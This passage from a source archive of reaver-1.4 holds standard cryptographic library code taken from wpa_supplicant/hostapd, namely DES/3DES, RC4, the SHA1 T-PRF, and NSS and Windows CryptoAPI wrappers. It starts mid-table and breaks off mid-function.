0x20004000UL, 0x20000000UL, 0x00004010UL, 0x00000000UL, 0x00400010UL, 0x20004010UL, 0x00004000UL, 0x00404000UL, 0x20004010UL, 0x00000010UL, 0x20400010UL, 0x20400010UL, 0x00000000UL, 0x00404010UL, 0x20404000UL, 0x00004010UL, 0x00404000UL, 0x20404000UL, 0x20000000UL, 0x20004000UL, 0x00000010UL, 0x20400010UL, 0x00404000UL, 0x20404010UL, 0x00400000UL, 0x00004010UL, 0x20000010UL, 0x00400000UL, 0x20004000UL, 0x20000000UL, 0x00004010UL, 0x20000010UL, 0x20404010UL, 0x00404000UL, 0x20400000UL, 0x00404010UL, 0x20404000UL, 0x00000000UL, 0x20400010UL, 0x00000010UL, 0x00004000UL, 0x20400000UL, 0x00404010UL, 0x00004000UL, 0x00400010UL, 0x20004010UL, 0x00000000UL, 0x20404000UL, 0x20000000UL, 0x00400010UL, 0x20004010UL }; static const u32 SP7[64] = { 0x00200000UL, 0x04200002UL, 0x04000802UL, 0x00000000UL, 0x00000800UL, 0x04000802UL, 0x00200802UL, 0x04200800UL, 0x04200802UL, 0x00200000UL, 0x00000000UL, 0x04000002UL, 0x00000002UL, 0x04000000UL, 0x04200002UL, 0x00000802UL, 0x04000800UL, 0x00200802UL, 0x00200002UL, 0x04000800UL, 0x04000002UL, 0x04200000UL, 0x04200800UL, 0x00200002UL, 0x04200000UL, 0x00000800UL, 0x00000802UL, 0x04200802UL, 0x00200800UL, 0x00000002UL, 0x04000000UL, 0x00200800UL, 0x04000000UL, 0x00200800UL, 0x00200000UL, 0x04000802UL, 0x04000802UL, 0x04200002UL, 0x04200002UL, 0x00000002UL, 0x00200002UL, 0x04000000UL, 0x04000800UL, 0x00200000UL, 0x04200800UL, 0x00000802UL, 0x00200802UL, 0x04200800UL, 0x00000802UL, 0x04000002UL, 0x04200802UL, 0x04200000UL, 0x00200800UL, 0x00000000UL, 0x00000002UL, 0x04200802UL, 0x00000000UL, 0x00200802UL, 0x04200000UL, 0x00000800UL, 0x04000002UL, 0x04000800UL, 0x00000800UL, 0x00200002UL }; static const u32 SP8[64] = { 0x10001040UL, 0x00001000UL, 0x00040000UL, 0x10041040UL, 0x10000000UL, 0x10001040UL, 0x00000040UL, 0x10000000UL, 0x00040040UL, 0x10040000UL, 0x10041040UL, 0x00041000UL, 0x10041000UL, 0x00041040UL, 0x00001000UL, 0x00000040UL, 0x10040000UL, 0x10000040UL, 0x10001000UL, 0x00001040UL, 0x00041000UL, 0x00040040UL, 0x10040040UL, 0x10041000UL, 0x00001040UL, 0x00000000UL, 0x00000000UL, 0x10040040UL, 0x10000040UL, 0x10001000UL, 0x00041040UL, 0x00040000UL, 0x00041040UL, 0x00040000UL, 0x10041000UL, 0x00001000UL, 0x00000040UL, 0x10040040UL, 0x00001000UL, 0x00041040UL, 0x10001000UL, 0x00000040UL, 0x10000040UL, 0x10040000UL, 0x10040040UL, 0x10000000UL, 0x00040000UL, 0x10001040UL, 0x00000000UL, 0x10041040UL, 0x00040040UL, 0x10000040UL, 0x10040000UL, 0x10001000UL, 0x10001040UL, 0x00000000UL, 0x10041040UL, 0x00041000UL, 0x00041000UL, 0x00001040UL, 0x00001040UL, 0x00040040UL, 0x10000000UL, 0x10041000UL }; static void cookey(const u32 *raw1, u32 *keyout) { u32 *cook; const u32 *raw0; u32 dough[32]; int i; cook = dough; for (i = 0; i < 16; i++, raw1++) { raw0 = raw1++; *cook = (*raw0 & 0x00fc0000L) << 6; *cook |= (*raw0 & 0x00000fc0L) << 10; *cook |= (*raw1 & 0x00fc0000L) >> 10; *cook++ |= (*raw1 & 0x00000fc0L) >> 6; *cook = (*raw0 & 0x0003f000L) << 12; *cook |= (*raw0 & 0x0000003fL) << 16; *cook |= (*raw1 & 0x0003f000L) >> 4; *cook++ |= (*raw1 & 0x0000003fL); } os_memcpy(keyout, dough, sizeof(dough)); } static void deskey(const u8 *key, int decrypt, u32 *keyout) { u32 i, j, l, m, n, kn[32]; u8 pc1m[56], pcr[56]; for (j = 0; j < 56; j++) { l = (u32) pc1[j]; m = l & 7; pc1m[j] = (u8) ((key[l >> 3U] & bytebit[m]) == bytebit[m] ? 1 : 0); } for (i = 0; i < 16; i++) { if (decrypt) m = (15 - i) << 1; else m = i << 1; n = m + 1; kn[m] = kn[n] = 0L; for (j = 0; j < 28; j++) { l = j + (u32) totrot[i]; if (l < 28) pcr[j] = pc1m[l]; else pcr[j] = pc1m[l - 28]; } for (/* j = 28 */; j < 56; j++) { l = j + (u32) totrot[i]; if (l < 56) pcr[j] = pc1m[l]; else pcr[j] = pc1m[l - 28]; } for (j = 0; j < 24; j++) { if ((int) pcr[(int) pc2[j]] != 0) kn[m] |= bigbyte[j]; if ((int) pcr[(int) pc2[j + 24]] != 0) kn[n] |= bigbyte[j]; } } cookey(kn, keyout); } static void desfunc(u32 *block, const u32 *keys) { u32 work, right, leftt; int cur_round; leftt = block[0]; right = block[1]; work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL; right ^= work; leftt ^= (work << 4); work = ((leftt >> 16) ^ right) & 0x0000ffffL; right ^= work; leftt ^= (work << 16); work = ((right >> 2) ^ leftt) & 0x33333333L; leftt ^= work; right ^= (work << 2); work = ((right >> 8) ^ leftt) & 0x00ff00ffL; leftt ^= work; right ^= (work << 8); right = ROLc(right, 1); work = (leftt ^ right) & 0xaaaaaaaaL; leftt ^= work; right ^= work; leftt = ROLc(leftt, 1); for (cur_round = 0; cur_round < 8; cur_round++) { work = RORc(right, 4) ^ *keys++; leftt ^= SP7[work & 0x3fL] ^ SP5[(work >> 8) & 0x3fL] ^ SP3[(work >> 16) & 0x3fL] ^ SP1[(work >> 24) & 0x3fL]; work = right ^ *keys++; leftt ^= SP8[ work & 0x3fL] ^ SP6[(work >> 8) & 0x3fL] ^ SP4[(work >> 16) & 0x3fL] ^ SP2[(work >> 24) & 0x3fL]; work = RORc(leftt, 4) ^ *keys++; right ^= SP7[ work & 0x3fL] ^ SP5[(work >> 8) & 0x3fL] ^ SP3[(work >> 16) & 0x3fL] ^ SP1[(work >> 24) & 0x3fL]; work = leftt ^ *keys++; right ^= SP8[ work & 0x3fL] ^ SP6[(work >> 8) & 0x3fL] ^ SP4[(work >> 16) & 0x3fL] ^ SP2[(work >> 24) & 0x3fL]; } right = RORc(right, 1); work = (leftt ^ right) & 0xaaaaaaaaL; leftt ^= work; right ^= work; leftt = RORc(leftt, 1); work = ((leftt >> 8) ^ right) & 0x00ff00ffL; right ^= work; leftt ^= (work << 8); /* -- */ work = ((leftt >> 2) ^ right) & 0x33333333L; right ^= work; leftt ^= (work << 2); work = ((right >> 16) ^ leftt) & 0x0000ffffL; leftt ^= work; right ^= (work << 16); work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL; leftt ^= work; right ^= (work << 4); block[0] = right; block[1] = leftt; } /* wpa_supplicant/hostapd specific wrapper */ void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { u8 pkey[8], next, tmp; int i; u32 ek[32], work[2]; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; deskey(pkey, 0, ek); work[0] = WPA_GET_BE32(clear); work[1] = WPA_GET_BE32(clear + 4); desfunc(work, ek); WPA_PUT_BE32(cypher, work[0]); WPA_PUT_BE32(cypher + 4, work[1]); os_memset(pkey, 0, sizeof(pkey)); os_memset(ek, 0, sizeof(ek)); } void des_key_setup(const u8 *key, u32 *ek, u32 *dk) { deskey(key, 0, ek); deskey(key, 1, dk); } void des_block_encrypt(const u8 *plain, const u32 *ek, u8 *crypt) { u32 work[2]; work[0] = WPA_GET_BE32(plain); work[1] = WPA_GET_BE32(plain + 4); desfunc(work, ek); WPA_PUT_BE32(crypt, work[0]); WPA_PUT_BE32(crypt + 4, work[1]); } void des_block_decrypt(const u8 *crypt, const u32 *dk, u8 *plain) { u32 work[2]; work[0] = WPA_GET_BE32(crypt); work[1] = WPA_GET_BE32(crypt + 4); desfunc(work, dk); WPA_PUT_BE32(plain, work[0]); WPA_PUT_BE32(plain + 4, work[1]); } void des3_key_setup(const u8 *key, struct des3_key_s *dkey) { deskey(key, 0, dkey->ek[0]); deskey(key + 8, 1, dkey->ek[1]); deskey(key + 16, 0, dkey->ek[2]); deskey(key, 1, dkey->dk[2]); deskey(key + 8, 0, dkey->dk[1]); deskey(key + 16, 1, dkey->dk[0]); } void des3_encrypt(const u8 *plain, const struct des3_key_s *key, u8 *crypt) { u32 work[2]; work[0] = WPA_GET_BE32(plain); work[1] = WPA_GET_BE32(plain + 4); desfunc(work, key->ek[0]); desfunc(work, key->ek[1]); desfunc(work, key->ek[2]); WPA_PUT_BE32(crypt, work[0]); WPA_PUT_BE32(crypt + 4, work[1]); } void des3_decrypt(const u8 *crypt, const struct des3_key_s *key, u8 *plain) { u32 work[2]; work[0] = WPA_GET_BE32(crypt); work[1] = WPA_GET_BE32(crypt + 4); desfunc(work, key->dk[0]); desfunc(work, key->dk[1]); desfunc(work, key->dk[2]); WPA_PUT_BE32(plain, work[0]); WPA_PUT_BE32(plain + 4, work[1]); } reaver-1.4/src/crypto/crypto_nss.c0000755000175000017500000001005011705505260016652 0ustar reaverreaver/* * Crypto wrapper functions for NSS * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include #include #include #include #include #include #include #include "common.h" #include "crypto.h" static int nss_hash(HASH_HashType type, unsigned int max_res_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { HASHContext *ctx; size_t i; unsigned int reslen; ctx = HASH_Create(type); if (ctx == NULL) return -1; HASH_Begin(ctx); for (i = 0; i < num_elem; i++) HASH_Update(ctx, addr[i], len[i]); HASH_End(ctx, mac, &reslen, max_res_len); HASH_Destroy(ctx); return 0; } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { PK11Context *ctx = NULL; PK11SlotInfo *slot; SECItem *param = NULL; PK11SymKey *symkey = NULL; SECItem item; int olen; u8 pkey[8], next, tmp; int i; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; slot = PK11_GetBestSlot(CKM_DES_ECB, NULL); if (slot == NULL) { wpa_printf(MSG_ERROR, "NSS: PK11_GetBestSlot failed"); goto out; } item.type = siBuffer; item.data = pkey; item.len = 8; symkey = PK11_ImportSymKey(slot, CKM_DES_ECB, PK11_OriginDerive, CKA_ENCRYPT, &item, NULL); if (symkey == NULL) { wpa_printf(MSG_ERROR, "NSS: PK11_ImportSymKey failed"); goto out; } param = PK11_GenerateNewParam(CKM_DES_ECB, symkey); if (param == NULL) { wpa_printf(MSG_ERROR, "NSS: PK11_GenerateNewParam failed"); goto out; } ctx = PK11_CreateContextBySymKey(CKM_DES_ECB, CKA_ENCRYPT, symkey, param); if (ctx == NULL) { wpa_printf(MSG_ERROR, "NSS: PK11_CreateContextBySymKey(" "CKM_DES_ECB) failed"); goto out; } if (PK11_CipherOp(ctx, cypher, &olen, 8, (void *) clear, 8) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: PK11_CipherOp failed"); goto out; } out: if (ctx) PK11_DestroyContext(ctx, PR_TRUE); if (symkey) PK11_FreeSymKey(symkey); if (param) SECITEM_FreeItem(param, PR_TRUE); } int rc4_skip(const u8 *key, size_t keylen, size_t skip, u8 *data, size_t data_len) { return -1; } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return nss_hash(HASH_AlgMD5, 16, num_elem, addr, len, mac); } int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return nss_hash(HASH_AlgSHA1, 20, num_elem, addr, len, mac); } int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return nss_hash(HASH_AlgSHA256, 32, num_elem, addr, len, mac); } void * aes_encrypt_init(const u8 *key, size_t len) { return NULL; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { } void aes_encrypt_deinit(void *ctx) { } void * aes_decrypt_init(const u8 *key, size_t len) { return NULL; } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { } void aes_decrypt_deinit(void *ctx) { } int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { return -1; } struct crypto_cipher { }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { return NULL; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { return -1; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { return -1; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { } reaver-1.4/src/crypto/sha1-tprf.c0000755000175000017500000000366111705505260016266 0ustar reaverreaver/* * SHA1 T-PRF for EAP-FAST * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "crypto.h" /** * sha1_t_prf - EAP-FAST Pseudo-Random Function (T-PRF) * @key: Key for PRF * @key_len: Length of the key in bytes * @label: A unique label for each purpose of the PRF * @seed: Seed value to bind into the key * @seed_len: Length of the seed * @buf: Buffer for the generated pseudo-random key * @buf_len: Number of bytes of key to generate * Returns: 0 on success, -1 of failure * * This function is used to derive new, cryptographically separate keys from a * given key for EAP-FAST. T-PRF is defined in RFC 4851, Section 5.5. */ int sha1_t_prf(const u8 *key, size_t key_len, const char *label, const u8 *seed, size_t seed_len, u8 *buf, size_t buf_len) { unsigned char counter = 0; size_t pos, plen; u8 hash[SHA1_MAC_LEN]; size_t label_len = os_strlen(label); u8 output_len[2]; const unsigned char *addr[5]; size_t len[5]; addr[0] = hash; len[0] = 0; addr[1] = (unsigned char *) label; len[1] = label_len + 1; addr[2] = seed; len[2] = seed_len; addr[3] = output_len; len[3] = 2; addr[4] = &counter; len[4] = 1; output_len[0] = (buf_len >> 8) & 0xff; output_len[1] = buf_len & 0xff; pos = 0; while (pos < buf_len) { counter++; plen = buf_len - pos; if (hmac_sha1_vector(key, key_len, 5, addr, len, hash)) return -1; if (plen >= SHA1_MAC_LEN) { os_memcpy(&buf[pos], hash, SHA1_MAC_LEN); pos += SHA1_MAC_LEN; } else { os_memcpy(&buf[pos], hash, plen); break; } len[0] = SHA1_MAC_LEN; } return 0; } reaver-1.4/src/crypto/rc4.c0000755000175000017500000000231411705505260015143 0ustar reaverreaver/* * RC4 stream cipher * Copyright (c) 2002-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #define S_SWAP(a,b) do { u8 t = S[a]; S[a] = S[b]; S[b] = t; } while(0) int rc4_skip(const u8 *key, size_t keylen, size_t skip, u8 *data, size_t data_len) { u32 i, j, k; u8 S[256], *pos; size_t kpos; /* Setup RC4 state */ for (i = 0; i < 256; i++) S[i] = i; j = 0; kpos = 0; for (i = 0; i < 256; i++) { j = (j + S[i] + key[kpos]) & 0xff; kpos++; if (kpos >= keylen) kpos = 0; S_SWAP(i, j); } /* Skip the start of the stream */ i = j = 0; for (k = 0; k < skip; k++) { i = (i + 1) & 0xff; j = (j + S[i]) & 0xff; S_SWAP(i, j); } /* Apply RC4 to data */ pos = data; for (k = 0; k < data_len; k++) { i = (i + 1) & 0xff; j = (j + S[i]) & 0xff; S_SWAP(i, j); *pos++ ^= S[(S[i] + S[j]) & 0xff]; } return 0; } reaver-1.4/src/crypto/fips_prf_cryptoapi.c0000755000175000017500000000115211705505260020354 0ustar reaverreaver/* * FIPS 186-2 PRF for Microsoft CryptoAPI * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { /* FIX: how to do this with CryptoAPI? */ return -1; } reaver-1.4/src/crypto/crypto_cryptoapi.c0000755000175000017500000004026111705505260020070 0ustar reaverreaver/* * Crypto wrapper for Microsoft CryptoAPI * Copyright (c) 2005-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include "common.h" #include "crypto.h" #ifndef MS_ENH_RSA_AES_PROV #ifdef UNICODE #define MS_ENH_RSA_AES_PROV \ L"Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)" #else #define MS_ENH_RSA_AES_PROV \ "Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)" #endif #endif /* MS_ENH_RSA_AES_PROV */ #ifndef CALG_HMAC #define CALG_HMAC (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC) #endif #ifdef __MINGW32_VERSION /* * MinGW does not yet include all the needed definitions for CryptoAPI, so * define here whatever extra is needed. */ static BOOL WINAPI (*CryptImportPublicKeyInfo)(HCRYPTPROV hCryptProv, DWORD dwCertEncodingType, PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY *phKey) = NULL; /* to be loaded from crypt32.dll */ static int mingw_load_crypto_func(void) { HINSTANCE dll; /* MinGW does not yet have full CryptoAPI support, so load the needed * function here. */ if (CryptImportPublicKeyInfo) return 0; dll = LoadLibrary("crypt32"); if (dll == NULL) { wpa_printf(MSG_DEBUG, "CryptoAPI: Could not load crypt32 " "library"); return -1; } CryptImportPublicKeyInfo = GetProcAddress( dll, "CryptImportPublicKeyInfo"); if (CryptImportPublicKeyInfo == NULL) { wpa_printf(MSG_DEBUG, "CryptoAPI: Could not get " "CryptImportPublicKeyInfo() address from " "crypt32 library"); return -1; } return 0; } #else /* __MINGW32_VERSION */ static int mingw_load_crypto_func(void) { return 0; } #endif /* __MINGW32_VERSION */ static void cryptoapi_report_error(const char *msg) { char *s, *pos; DWORD err = GetLastError(); if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, err, 0, (LPTSTR) &s, 0, NULL) == 0) { wpa_printf(MSG_DEBUG, "CryptoAPI: %s: %d", msg, (int) err); } pos = s; while (*pos) { if (*pos == '\n' || *pos == '\r') { *pos = '\0'; break; } pos++; } wpa_printf(MSG_DEBUG, "CryptoAPI: %s: %d: (%s)", msg, (int) err, s); LocalFree(s); } int cryptoapi_hash_vector(ALG_ID alg, size_t hash_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { HCRYPTPROV prov; HCRYPTHASH hash; size_t i; DWORD hlen; int ret = 0; if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, 0)) { cryptoapi_report_error("CryptAcquireContext"); return -1; } if (!CryptCreateHash(prov, alg, 0, 0, &hash)) { cryptoapi_report_error("CryptCreateHash"); CryptReleaseContext(prov, 0); return -1; } for (i = 0; i < num_elem; i++) { if (!CryptHashData(hash, (BYTE *) addr[i], len[i], 0)) { cryptoapi_report_error("CryptHashData"); CryptDestroyHash(hash); CryptReleaseContext(prov, 0); } } hlen = hash_len; if (!CryptGetHashParam(hash, HP_HASHVAL, mac, &hlen, 0)) { cryptoapi_report_error("CryptGetHashParam"); ret = -1; } CryptDestroyHash(hash); CryptReleaseContext(prov, 0); return ret; } int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return cryptoapi_hash_vector(CALG_MD4, 16, num_elem, addr, len, mac); } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { u8 next, tmp; int i; HCRYPTPROV prov; HCRYPTKEY ckey; DWORD dlen; struct { BLOBHEADER hdr; DWORD len; BYTE key[8]; } key_blob; DWORD mode = CRYPT_MODE_ECB; key_blob.hdr.bType = PLAINTEXTKEYBLOB; key_blob.hdr.bVersion = CUR_BLOB_VERSION; key_blob.hdr.reserved = 0; key_blob.hdr.aiKeyAlg = CALG_DES; key_blob.len = 8; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; key_blob.key[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } key_blob.key[i] = next | 1; if (!CryptAcquireContext(&prov, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptAcquireContext failed: " "%d", (int) GetLastError()); return; } if (!CryptImportKey(prov, (BYTE *) &key_blob, sizeof(key_blob), 0, 0, &ckey)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptImportKey failed: %d", (int) GetLastError()); CryptReleaseContext(prov, 0); return; } if (!CryptSetKeyParam(ckey, KP_MODE, (BYTE *) &mode, 0)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptSetKeyParam(KP_MODE) " "failed: %d", (int) GetLastError()); CryptDestroyKey(ckey); CryptReleaseContext(prov, 0); return; } os_memcpy(cypher, clear, 8); dlen = 8; if (!CryptEncrypt(ckey, 0, FALSE, 0, cypher, &dlen, 8)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptEncrypt failed: %d", (int) GetLastError()); os_memset(cypher, 0, 8); } CryptDestroyKey(ckey); CryptReleaseContext(prov, 0); } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return cryptoapi_hash_vector(CALG_MD5, 16, num_elem, addr, len, mac); } int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return cryptoapi_hash_vector(CALG_SHA, 20, num_elem, addr, len, mac); } struct aes_context { HCRYPTPROV prov; HCRYPTKEY ckey; }; void * aes_encrypt_init(const u8 *key, size_t len) { struct aes_context *akey; struct { BLOBHEADER hdr; DWORD len; BYTE key[16]; } key_blob; DWORD mode = CRYPT_MODE_ECB; if (len != 16) return NULL; key_blob.hdr.bType = PLAINTEXTKEYBLOB; key_blob.hdr.bVersion = CUR_BLOB_VERSION; key_blob.hdr.reserved = 0; key_blob.hdr.aiKeyAlg = CALG_AES_128; key_blob.len = len; os_memcpy(key_blob.key, key, len); akey = os_zalloc(sizeof(*akey)); if (akey == NULL) return NULL; if (!CryptAcquireContext(&akey->prov, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptAcquireContext failed: " "%d", (int) GetLastError()); os_free(akey); return NULL; } if (!CryptImportKey(akey->prov, (BYTE *) &key_blob, sizeof(key_blob), 0, 0, &akey->ckey)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptImportKey failed: %d", (int) GetLastError()); CryptReleaseContext(akey->prov, 0); os_free(akey); return NULL; } if (!CryptSetKeyParam(akey->ckey, KP_MODE, (BYTE *) &mode, 0)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptSetKeyParam(KP_MODE) " "failed: %d", (int) GetLastError()); CryptDestroyKey(akey->ckey); CryptReleaseContext(akey->prov, 0); os_free(akey); return NULL; } return akey; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { struct aes_context *akey = ctx; DWORD dlen; os_memcpy(crypt, plain, 16); dlen = 16; if (!CryptEncrypt(akey->ckey, 0, FALSE, 0, crypt, &dlen, 16)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptEncrypt failed: %d", (int) GetLastError()); os_memset(crypt, 0, 16); } } void aes_encrypt_deinit(void *ctx) { struct aes_context *akey = ctx; if (akey) { CryptDestroyKey(akey->ckey); CryptReleaseContext(akey->prov, 0); os_free(akey); } } void * aes_decrypt_init(const u8 *key, size_t len) { return aes_encrypt_init(key, len); } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { struct aes_context *akey = ctx; DWORD dlen; os_memcpy(plain, crypt, 16); dlen = 16; if (!CryptDecrypt(akey->ckey, 0, FALSE, 0, plain, &dlen)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptDecrypt failed: %d", (int) GetLastError()); } } void aes_decrypt_deinit(void *ctx) { aes_encrypt_deinit(ctx); } struct crypto_hash { enum crypto_hash_alg alg; int error; HCRYPTPROV prov; HCRYPTHASH hash; HCRYPTKEY key; }; struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, size_t key_len) { struct crypto_hash *ctx; ALG_ID calg; struct { BLOBHEADER hdr; DWORD len; BYTE key[32]; } key_blob; os_memset(&key_blob, 0, sizeof(key_blob)); switch (alg) { case CRYPTO_HASH_ALG_MD5: calg = CALG_MD5; break; case CRYPTO_HASH_ALG_SHA1: calg = CALG_SHA; break; case CRYPTO_HASH_ALG_HMAC_MD5: case CRYPTO_HASH_ALG_HMAC_SHA1: calg = CALG_HMAC; key_blob.hdr.bType = PLAINTEXTKEYBLOB; key_blob.hdr.bVersion = CUR_BLOB_VERSION; key_blob.hdr.reserved = 0; /* * Note: RC2 is not really used, but that can be used to * import HMAC keys of up to 16 byte long. * CRYPT_IPSEC_HMAC_KEY flag for CryptImportKey() is needed to * be able to import longer keys (HMAC-SHA1 uses 20-byte key). */ key_blob.hdr.aiKeyAlg = CALG_RC2; key_blob.len = key_len; if (key_len > sizeof(key_blob.key)) return NULL; os_memcpy(key_blob.key, key, key_len); break; default: return NULL; } ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; ctx->alg = alg; if (!CryptAcquireContext(&ctx->prov, NULL, NULL, PROV_RSA_FULL, 0)) { cryptoapi_report_error("CryptAcquireContext"); os_free(ctx); return NULL; } if (calg == CALG_HMAC) { #ifndef CRYPT_IPSEC_HMAC_KEY #define CRYPT_IPSEC_HMAC_KEY 0x00000100 #endif if (!CryptImportKey(ctx->prov, (BYTE *) &key_blob, sizeof(key_blob), 0, CRYPT_IPSEC_HMAC_KEY, &ctx->key)) { cryptoapi_report_error("CryptImportKey"); CryptReleaseContext(ctx->prov, 0); os_free(ctx); return NULL; } } if (!CryptCreateHash(ctx->prov, calg, ctx->key, 0, &ctx->hash)) { cryptoapi_report_error("CryptCreateHash"); CryptReleaseContext(ctx->prov, 0); os_free(ctx); return NULL; } if (calg == CALG_HMAC) { HMAC_INFO info; os_memset(&info, 0, sizeof(info)); switch (alg) { case CRYPTO_HASH_ALG_HMAC_MD5: info.HashAlgid = CALG_MD5; break; case CRYPTO_HASH_ALG_HMAC_SHA1: info.HashAlgid = CALG_SHA; break; default: /* unreachable */ break; } if (!CryptSetHashParam(ctx->hash, HP_HMAC_INFO, (BYTE *) &info, 0)) { cryptoapi_report_error("CryptSetHashParam"); CryptDestroyHash(ctx->hash); CryptReleaseContext(ctx->prov, 0); os_free(ctx); return NULL; } } return ctx; } void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len) { if (ctx == NULL || ctx->error) return; if (!CryptHashData(ctx->hash, (BYTE *) data, len, 0)) { cryptoapi_report_error("CryptHashData"); ctx->error = 1; } } int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len) { int ret = 0; DWORD hlen; if (ctx == NULL) return -2; if (mac == NULL || len == NULL) goto done; if (ctx->error) { ret = -2; goto done; } hlen = *len; if (!CryptGetHashParam(ctx->hash, HP_HASHVAL, mac, &hlen, 0)) { cryptoapi_report_error("CryptGetHashParam"); ret = -2; } *len = hlen; done: if (ctx->alg == CRYPTO_HASH_ALG_HMAC_SHA1 || ctx->alg == CRYPTO_HASH_ALG_HMAC_MD5) CryptDestroyKey(ctx->key); os_free(ctx); return ret; } struct crypto_cipher { HCRYPTPROV prov; HCRYPTKEY key; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; struct { BLOBHEADER hdr; DWORD len; BYTE key[32]; } key_blob; DWORD mode = CRYPT_MODE_CBC; key_blob.hdr.bType = PLAINTEXTKEYBLOB; key_blob.hdr.bVersion = CUR_BLOB_VERSION; key_blob.hdr.reserved = 0; key_blob.len = key_len; if (key_len > sizeof(key_blob.key)) return NULL; os_memcpy(key_blob.key, key, key_len); switch (alg) { case CRYPTO_CIPHER_ALG_AES: if (key_len == 32) key_blob.hdr.aiKeyAlg = CALG_AES_256; else if (key_len == 24) key_blob.hdr.aiKeyAlg = CALG_AES_192; else key_blob.hdr.aiKeyAlg = CALG_AES_128; break; case CRYPTO_CIPHER_ALG_3DES: key_blob.hdr.aiKeyAlg = CALG_3DES; break; case CRYPTO_CIPHER_ALG_DES: key_blob.hdr.aiKeyAlg = CALG_DES; break; case CRYPTO_CIPHER_ALG_RC2: key_blob.hdr.aiKeyAlg = CALG_RC2; break; case CRYPTO_CIPHER_ALG_RC4: key_blob.hdr.aiKeyAlg = CALG_RC4; break; default: return NULL; } ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; if (!CryptAcquireContext(&ctx->prov, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { cryptoapi_report_error("CryptAcquireContext"); goto fail1; } if (!CryptImportKey(ctx->prov, (BYTE *) &key_blob, 